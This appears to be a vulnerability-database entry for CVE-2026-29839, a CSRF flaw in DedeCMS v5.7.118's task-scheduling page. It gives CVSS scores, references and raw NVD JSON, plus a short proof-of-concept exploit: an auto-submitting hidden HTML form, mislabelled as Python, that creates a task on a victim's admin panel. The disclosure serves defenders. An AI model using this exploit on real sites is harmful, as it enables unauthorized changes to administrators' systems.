CVE-2026-29839

Description

DedeCMS v5.7.118 was discovered to contain a Cross-Site Request Forgery (CSRF) vulnerability in /sys_task_add.php.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:dedecms:dedecms:5.7.118:*:*:*:*:*:*:* - VULNERABLE

DedeCMS v5.7.118

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-29839 -->
<!-- CSRF Exploit for DedeCMS v5.7.118 -->
<html>
  <body>
    <form action="http://target-site/dede/sys_task_add.php" method="POST">
      <input type="hidden" name="dopost" value="save" />
      <input type="hidden" name="taskname" value="Malicious_Task" />
      <input type="hidden" name="nextruntime" value="2026-12-31 00:00:00" />
      <input type="hidden" name="runtime" value="1" />
      <input type="hidden" name="isexecute" value="1" />
      <input type="submit" value="Submit Request" />
    </form>
    <script>
      // Automatically submit the form when the page loads
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-29839
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-29839
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-29839/
[4] VulDB https://vuldb.com/cve/CVE-2026-29839
[5] https://gist.github.com/w-p-man/43bfdf3c7cf889981d773d1276bb6a62
[6] https://www.dedecms.com/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-29839", "sourceIdentifier": "[email protected]", "published": "2026-03-24T16:16:30.787", "lastModified": "2026-03-25T20:53:05.983", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "DedeCMS v5.7.118 was discovered to contain a Cross-Site Request Forgery (CSRF) vulnerability in /sys_task_add.php."}, {"lang": "es", "value": "Se descubrió que DedeCMS v5.7.118 contenía una vulnerabilidad de falsificación de petición en sitios cruzados (CSRF) en /sys_task_add.php."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dedecms:dedecms:5.7.118:*:*:*:*:*:*:*", "matchCriteriaId": "FBFA6DA9-ED89-432F-8D0B-71ABD05E149F"}]}]}], "references": [{"url": "https://gist.github.com/w-p-man/43bfdf3c7cf889981d773d1276bb6a62", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.dedecms.com/", "source": "[email protected]", "tags": ["Product"]}]}}